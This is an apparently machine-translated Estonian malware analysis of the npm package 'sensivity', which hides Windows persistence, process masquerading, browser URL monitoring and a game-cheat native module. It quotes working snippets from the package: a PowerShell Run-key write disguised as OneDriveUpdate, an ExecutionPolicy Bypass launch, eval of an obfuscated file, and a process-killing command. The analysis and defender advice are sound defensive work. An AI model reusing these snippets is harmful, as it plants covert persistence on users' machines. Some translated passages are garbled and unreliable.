PairLoop: peidetud kaugjuhtimispaneel npm-paketis

PairLoop: üks npm pakett, seitsekümmend versiooni ja peidetud Windowsi kaugjuhtimispaneel

TL; DR

Npm-pakett tundlikkus kirjeldab end kui "tundlikkuse juhtpaneeli". Windowsis toimib see kaugjuhtimis- ja jälgimisvahendina.

Selle sisenemispunkt, launcher.js, nimetab oma protsessi ümber Runtime Brokeriks, kirjutab automaatselt käivituva Run-võtme väärtuse nimega OneDriveUpdate mis käivitab paketi uuesti peidetud VBScripti kaudu, käivitab PowerShelli koos -ExecutionPolicy Bypassja seejärel hindab 171 KB suurust hägustatud serveri kasulikku koormust koos 6.87 MB natiivse mooduliga, sens.node.

See teenindab telefoni sidumise juhtpaneeli TCP-pordil 3000 ja loeb aktiivse brauseri aadressiriba URL-i Windows UIAutomationi kaudu, otsides ühte kõvakodeeritud YouTube'i videot.

Kaks osa, mis varem jäid mustadeks kastideks, on nüüd lahendatud. Hägustatud server, server.obf.js, kasutab obfuscator.io RC4 stringimassiivi skeemi; selle dekoodri uuesti rakendamine võrguühenduseta (JavaScripti ei käivitata) taastab ühe välise lõpp-punkti — https://izopi.com/check.php — koos manustatud RSA avaliku võtmega, mida kasutatakse allkirjastatud litsentsivastuste kontrollimiseks.

Natiivne moodul, sens.node, ei ole pakitud: selle imporditabel ja manustatud stringid identifitseerivad seda DirectX 11 / Dear ImGui mängusisese pealiskihina, mis pakub aimboti, ESP (seinahäkkimine) ja triggerboti funktsioone, mida juhitakse kaugprotsesside süstimise ja mälu lugemise/kirjutamise abil.

Selle sees olevad stringid viitavad sõidukite üksustele ja kaardi asukohtadele kooskõlas GTA V / FiveM-iga. npm pakett on selle natiivse mooduli ümber olev edastamise ja püsivuse ümbris.

Määrav signaal on toimiv, mitte tehniline: üks anonüümne avaldaja avaldas umbes seitsekümmend versiooni ühest paketist — 2.5.0 läbi 2.5.69 — mõne päeva jooksul, igaüks sama kanderaketiga.

Installi pole hooksKasulik koormus käivitub ainult paketi käivitamisel.

Rünnak: kuidas see toimib

sensivity saadab kümme faili. Package.json on hõre: puudub repositooriumi väli, litsents, peamine ja kaks bin-aliast (sensivity, sens), mis kõik osutavad launcher.js-ile, ning sõlme launcher.js käivitusskript. Installieelset ega -järgset toimingut ei toimu. Npm installimisel ei käivitu midagi. Allpool kirjeldatud käitumine käivitub siis, kui kasutaja paketi käivitab – bin-shim-i, käivitusskripti või require'i kaudu.

Tarball sisaldab käivitajat, hägustatud serverit, natiivmoodulit, Visual Basicu skripti ja juhtpaneeli avalikku/web kataloogi. launcher.js on loetav orkestraator; käitusajal oluline loogika asub kahes laaditavas objektis – hägustatud serveris ja kompileeritud natiivmoodulis, mida mõlemat käsitletakse allpool.

 Protsesside maskeerimine ja võlts OneDrive'i värskendaja

Täitmise alguses määrab launcher.js oma protsessi nime kaks korda:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker on legitiimne Windowsi protsess (RuntimeBroker.exe), mis vahendab rakenduste õigusi. Node'i protsessi ümbernimetamine vastavaks tähendab, et kiire pilk tegumihaldurile ei näita midagi ebatavalist.

Püsivus kirjutatakse PowerShelli, mitte otsese registri API kaudu:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Automaatse käivituse väärtuse nimi on OneDriveUpdate ja see ei osuta otse paketile. See osutab wscript.exe-le, mis käitab komplekteeritud OneDrive.Standalone.Updater.vbs-i. See skript käivitab peidetud aknas uuesti node launcher.js. Nii Run-võtme nimi kui ka VBScript-failinimi laenavad Microsofti kaubamärgi, seega loetakse automaatse käivituse kirjet tavapärase OneDrive'i ülesandena.

PowerShell koos täitmispoliitika möödaviiguga

Käivitusprogramm saadab korduvalt PowerShellile käsu. Skannerid märgivad kriitiliseks neeldaja, mis käivitab genereeritud .ps1 faili, mille täitmispoliitika on keelatud:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

ExecutionPolicy Bypass eemaldab selle kutsumise puhul kohaliku skripti allkirjastamise kontrolli. Genereeritud skriptid tegelevad järgmises jaotises kirjeldatud brauseri jälgimise ja akende tuvastamisega.

Hägustatud server ja natiivmoodul

Pärast seadistamist laadib ja käivitab launcher.js oma tegeliku kasuliku koormuse:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

server.obf.js on 171 KB _0x-massiivi hägustamise fail – JavaScripti muster, kus iga string ja identifikaator asendatakse indeksiga segatud massiivis ja seejärel käitusajal viited eemaldatakse. Skeem on obfuscator.io loodud RC4 variant: üks dekoodrifunktsioon base64-dekodeerib massiivi kirje ja seejärel RC4-dekrüpteerib selle igakuise võtmega. Selle dekoodri uuesti rakendamine eraldi skriptis – ainult uuesti rakendamise käivitamine ekstraheeritud 821 kirjega stringimassiivi peal, mitte kunagi paketi enda JavaScripti – harutab selle puhtalt lahti. See, mis pinnale ilmub, on tagasihoidlik, aga...cisive: üks väline URL, https://izopi.com/check.php`, mis on määratud LICENSE_URL konstandile; manustatud RSA PUBLIC_KEY_PEM`; kohalik paneel suunab marsruudid /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off ja /trigger/status; ning stringid child_process, crypto ja [Sensivity] sens.node loaded – viimane on täpne logirida, mille käivitaja kirjutab ümber laaditud programmimoodulile. Lõpp-punkt on litsentsikontroll: klient postitab identifikaatori (hägustatud server vormindab Discord ID: %s stringi) ja RSA võti kontrollib serveri allkirjastatud vastust.

sens.node on 6.87 MB suurune kompileeritud natiivne lisandmoodul ja see pole pakitud – sektsiooni entroopia on vahemikus 5.6–6.6 ning PE impordi- ja eksporditabelid on puutumatud, seega on selle võimalused otse loetavad. See ekspordib napi_register_module_v1, standard Sõlme N-API sisenemispunkt, seega laadib eval'd server selle tavalise require'iga. Selle imporditabel on tell. KERNEL32-st tõmbab see OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules ja Process32First/NextW – kanooniline komplekt teise protsessi leidmiseks, mälu eraldamiseks selles ja selle mälu lugemiseks või kirjutamiseks. USER32-st tõmbab see GetAsyncKeyState, GetKeyState, mouse_event ja SetCursorPos; see lingib d3d11.dll, D3DCOMPILER_43 ja dwmapi ekraanil kuvatava kattekihi jaoks ning täieliku WINHTTP komplekti võrgukõnede jaoks. Selle manustatud stringid nimetavad funktsioonide komplekti üheselt: Enable Aimbot (Luba Aimbot), Aimbot FOV (Aimbot vaateväli), Box ESP (Kasti ESP), Skeleton ESP (Skeleti ESP), Triggerbot, ESP Builder (ESP ehitaja), Vehicle ESP (Sõiduki ESP), Electron Anticheat detected (Elektrooniline pettusevastane süsteem tuvastatud) ja Dear ImGui bänner Dear ImGui 1.91.3 WIP. Asukoha ja üksuse stringid, näiteks Grapeseed Medical Clinic ja vehicle-ESP sõnavara, on kooskõlas GTA V / FiveM-iga.

Jaotus on sisuliselt tahtlik: loetav launcher.js sisaldab ainult neid osi, mida skanner kergesti loeb – püsivus, maskeraadi ja eval-kutse ise –, samas kui hägustamine peidab ainsa välise hosti, käitusaja kontaktid, ja binaarfail sisaldab mängu ülekatte ja protsessi süstimise loogikat. Käivitaja on õhuke, auditeeritav kest; hägustatud server peidab võrguidentiteedi; natiivmoodul on kasulik koormus. Me kirjeldame binaarfaili importe ja stringe loetuna; me ei järelda nende põhjal operaatori eesmärki.

 Telefoni sidumise juhtpaneel pordil 3000

Käivitusprogramm haldab TCP-pordil 3000 olevat kohalikku veebiserverit ja käsitleb seda üksikserverina. See pärib olemasoleva kuulaja kohta ja tühjendab selle enne sidumist:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

Paneelile pääseb ligi aadressil http://localhost:3000, mille kõvakodeeritud kohtvõrgu varu-URL on http://192.168.1.16:3000. Kaust public/ ja paneeli käitumine on kooskõlas QR-koodi sidumise vooluga: telefon skannib koodi ja loob hostiga ühenduse kaugseadmena. Käivitusprogrammis ei kuvata selgesõnaliselt ühtegi välist käsklus- ja juhtimisdomeeni – kuid nagu ülaltoodud lihtsustamine näitab, on see hägustatud serveris olemas: izopi.com litsentsi lõpp-punkt. Paneel ise on lokaalne ja kohtvõrgu ulatusega; ainus väljaminev host on see litsentsikontroll.

Eraldi superviisori/töötaja mudel hoiab protsessi elus. Käivitusprogramm taaskäivitub SENSIVITY_SUPERVISOR ja SENSIVITY_WORKER keskkonnalippudega, iga alamprotsess töötab varjatult, seega ühe protsessi tapmine jätab järele valvekoera, kes selle taaskäivitab.

Brauseri jälgimine ja YouTube'i signaal

Kõige spetsiifilisem käitumine on brauseri jälgimine. launcher.js loob PowerShelli, mis paneb Windows UIAutomationi lugema töötava brauseri aadressiriba:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern tagastab kasutajaliidese elemendi tekstisisu. Brauseri aadressiriba redigeerimisjuhtimisele rakendatuna tagastab see URL-i, mida ohver hetkel vaatab – ilma brauserilaienduseta, kettal olevat profiili puudutamata ja ilma API-konksuta. Genereeritud skript itereerib $browserNames loendi ja ekstraheerib esiplaanil oleva brauseri URL-i või akna pealkirja.

Seda URL-i testitakse ühe kõvakodeeritud sihtmärgi suhtes:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Käivitusprogramm küsitleb kolmesekundilise tsükli jooksul YouTube'i kuvavat brauseriakent ja genereeritud PowerShelli päring sisaldab Get-YouTubeBrowser / Test-TargetYouTubeUrl paari, mis vastab sellele video ID-le. Vaadeldav efekt on kahetine: aktiivne sirvimise URL loetakse ohvri ekraanilt ja tuvastatakse hosti interaktsioon ühe konkreetse YouTube'i videoga. Me kirjeldame mehhanismi ja sihtmärki; me ei järelda nende põhjal motiivi.

Aadressiribalt loetud tulemust nimetab skanner sensitive_data_enumerationiks – see on Process::env ja UIAutomation allikas, mis toidavad andmeid võrguühendusega käituskeskkonnale. See näeb eraldiseisvalt healoomuline välja ja muutub jälgitavaks alles siis, kui andmete elutsükkel UIAutomation allikast hägustatud serverini on jälgitav.

Ajajoon ja versioonide areng

Tundlikkus ei ole ühekordne üleslaadimine. Avaldaja kontol on sellest ühest paketist umbes seitsekümmend avaldatud versiooni ja ülevaatusperioodi jooksul saabus pidevalt uusi. Käivitusprogramm kasvab 2.5.x reas funktsioon funktsiooni haaval, samal ajal kui selle püsivus ja kasuliku laadimine jäävad samaks.

Kuupäev (UTC) Täheldatud versioonid Käivitaja olek
2026-06-02 2.5.8 - 2.5.46 (25) Põhiline QR-paneeli käivitaja; Käivita klahvi püsivus; hägustatud serveri hindamine.
2026-06-03 2.5.53 - 2.5.61 (6) Sama sõrmejälg; konsooli jälgede summutamine.
2026-06-04 2.5.67, 2.5.68 (2) Lisab kinnitatud YouTube'i kaasatuse sihtmärgi wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) Lünkade täitmine uuesti avaldamisel kogu vahemikus; juhendaja/töötaja järelvalvekoer.

Käivitusprogrammi lugemine allalaaditud esindajate – 2.5.0, 2.5.36 ja 2.5.69 – lõikes näitab nelja taset. Varasemad versioonid sisaldavad baas-QR-sidumiskäivitusprogrammi. Alates versioonist 2.5.33 ilmub UIAutomationi aadressiriba harvester. Alates versioonist 2.5.58 lisandub superviisori halduskiht. Alates versioonist 2.5.64 täiendab komplekti eraldiseisev superviisori/töötaja valvekoer. Kogu selle aja jooksul ei muutu neli asja: OneDriveUpdate Run võti, OneDrive.Standalone.Updater.vbs dropper, eval'd server.obf.js ja sens.node natiivmoodul.

2026-06-05 laine on tähelepanuväärne selle poolest, et see avaldas uuesti madalamad versiooninumbrid – 2.5.0 kuni 2.5.15 –, mis jäävad paar päeva varem kinnitatud versioonidest madalamale. Selle tulemuseks on registris katkematu 2.5.x rida, kus igal versioonil on sama käivitaja.

Kompromissi näitajad

Kõik allolevad indikaatorid loeti otse paketi tarballist. Loetav käivitaja sisaldab ainult loopbacki ja ühte privaatset LAN-aadressi; ainus väline hostinimi, izopi.com, taastati server.obf.js võrguühenduseta deobfuskeerimise teel.

KASUTUSALA Indikaator märkused
Pakend npm:sensivity (≈70 versiooni, 2.5.0-2.5.69) Ühe paketi väljaandja; ilma repositooriumita; litsentseerimata.
Fail launcher.js Loetav orkestraator; peamine ja prügikasti sihtmärk.
Fail server.obf.js (≈171 KB) obfuscator.io RC4 stringimassiivi kasulik koormus, laaditud läbi eval(fs.readFileSync(...)).
Fail sens.node (≈6.87 MB) PE32+ x86-64 sõlme N-API lisandmoodul; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
Fail OneDrive.Standalone.Updater.vbs Peidetud taaskäivitaja (node launcher.js).
võrk https://izopi.com/check.php Litsentsi/autentimise lõpp-punkt taastati hägustatud serverist; vastuseid kontrollib manustatud RSA avalik võti.
Võime OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread Kaugprotsesside süstimine ja mälu lugemise/kirjutamise võimalus.
Võime Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP DirectX 11 / ImGui mängu pealiskiht, mis rakendab aimboti, ESP ja triggerboti funktsioone.
registri HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate Automaatse käivitamise väärtus osutab aadressile wscript.exe ja VBScripti käivitaja.
Protsess process.title = 'Runtime Broker' Maskeerub õigustatud Windows Runtime Broker protsessiks.
Käitumist powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 Täitmispoliitika möödaviik, mida kasutatakse genereeritud PowerShelli skriptide jaoks.
Käitumist UIAutomation ValuePattern brauseri aadressiriba lugemine Loeb esiplaanil oleva brauseriakna URL-i.
Käitumist Sihtvideo ID wJWta2lO0Lw3-sekundiline YouTube'i küsitlus Kinnitatud kaasatuse jälgimise signaal.
võrk http://localhost:3000, varuvõimalus http://192.168.1.16:3000 QR-koodide sidumise juhtpaneel on nähtav nii lokaalselt kui ka kohtvõrgus.
keskkond SENSIVITY_SUPERVISOR, SENSIVITY_WORKER Eraldi valvekoera protsessi koordineerimise lipud.

Omistamine, mõju ja kaitsjad

Paketi avaldab üks npm-konto, mille märgitud e-posti aadress on kinnitamata Gmaili aadress. Kontol on sügavalt negatiivne registri maine skoor, see haldab ja avaldab ainult seda ühte paketti ning sellel puudub lingitud lähtekoodihoidla. Me ei ole e-posti aadressi omandiõigust kinnitanud ja omistame kampaania avaldaja kontole, mitte ühelegi nimetatud isikule. Käivitusprogrammil puudub selgeteksti infrastruktuur, kuid üks väline host on nüüd teada: hägustatud server võtab litsentsi kontrollimiseks ühendust izopi.com-iga ja natiivne moodul – mida loetakse selle imporditabelist ja stringidest, mitte vastupidiselt käskude kaupa – on mängu pealiskiht, mis süstib andmeid teise protsessi mällu ja loeb selle mälu.

Märgatav mõju langeb Windowsi kasutajatele, kes installivad ja käitavad tundlikkust, oodates juhtpaneeli utiliiti. Nendel hostidel loob pakett automaatse käivituse püsivuse, mis on maskeeritud OneDrive'i ülesandeks, nimetab end ümber süsteemiprotsessi jäljendamiseks, loeb kasutaja sirvitava sisu URL-i ja avab sidumispaneeli, mis seob masina kohaliku võrgu kaudu kaugseadmega. Superviisori/töötaja valvekoer tähendab, et ühe protsessi tapmine seda ei eemalda; Run-key kirje jääb püsima ka taaskäivitamisel. Käivitusprogramm ei ole suunatud macOS-ile ja Linuxile – püsivuse, PowerShelli ja UIAutomationi teed on ainult Windowsi jaoks.

Seitsmekümne versiooni voolavus on trend, millele tasub tähelepanu pöörata. Ühe paketi kümneid kordi uuesti avaldamine mõne päeva jooksul, sh versiooninumbrite tagasitäitmine allapoole juba eemaldatud nurjatud nurjatud versiooninumbreid, hoiab registris eemaldamiste vahel aktiivset koopiat ja nurjab versiooniga kinnitatud blokeeritud nimekirju. Blokeeritud nimekirja kirje sensivity@2.5.61 jaoks ei tee midagi sensivity@2.5.3 järgmisel päeval uuesti avaldamise vastu.

Kaitsjad saavad tegutseda järgmistel viisidel:

  • Blokeeri paketi nime tundlikkus registriproksi ja konfiguratsiooniliidese lubatud nimekirjades täielikult. Üksikute versioonide kinnitamine kaotab uuesti avaldamise rütmi; nimi on püsiv indikaator.
  • Otsige väärtust nimega OneDriveUpdate, mille andmed käivitavad wscript.exe faili .vbs kasutajapõhises teekonnas. Ehtne OneDrive'i värskendaja pole sel viisil registreeritud.
  • Hoiatus Node.js protsessi kohta, mille process.title on Runtime Broker. Tegelik maakler on RuntimeBroker.exe, mitte Node'i käituskeskkond.
  • Märgi ära npm installiaegsed pakettide toomised, mis saadavad kompileeritud .node lisandmooduli ja .obf.js-faili õe-vere faili eval(fs.readFileSync(…)). See paaristamine – läbipaistmatu natiivne binaarfail laaditakse hägustatud tekstifaili kõrvale – on siin struktuuriline näitaja, sõltumatu mis tahes stringi IOC-st.
  • Kohelge kõiki ootamatu sõlmeprotsessi poolt pordil 3000 olevaid lokaalselt seotud kuulajaid hallatud Windowsi lõpp-punktides kahtlastena.
  • Blokeeri või anna märku arendaja või lõppkasutaja hostide poolt saidile izopi.com saadetud väljaminevate päringute kohta; see on paketi ainus väline lõpp-punkt, millele hägustatud server jõuab aadressil /check.php.
  • Iga komplekti kuuluva .node lisandmooduli puhul kontrollige enne selle usaldamist selle imporditabelit. Kombinatsioon OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread on kaugprotsessi süstimine olenemata sellest, mida pakett väidab end tegevat; siin asub see Direct3D pealiskihi ja aimbot/ESP/triggerbot stringide kõrval.

Staatilise analüüsi jaoks pipelineSüüdimõistmise kuju on versioonivahetuse vältel püsiv: võrguväline installiprofiil, protsessi pealkirja määramine teadaolevale süsteemiprotsessi nimele, käivitusvõtme kirjutamine PowerShelli kaudu ja kettalt loetud faili hindamine. Ükski neist ei sõltu domeenist, IP-aadressist ega versiooninumbrist, mida järgmine uuesti avaldamine saaks eemaldada.

 Tehtud tööd

[npm: tundlikkus] – siin käsitletud paketi versioonirea registrileht; võidakse eemaldada.

sca-tööriistad-tarkvara-kompositsiooni-analüüsi-tööriistad
Tarkvarariskide prioriseerimine, leevendamine ja turvamine
Hankige oma tasuta konto.
Krediitkaarti pole vaja.

Turvaline tarkvaraarendus ja -tarne

Xygeni tootekomplektiga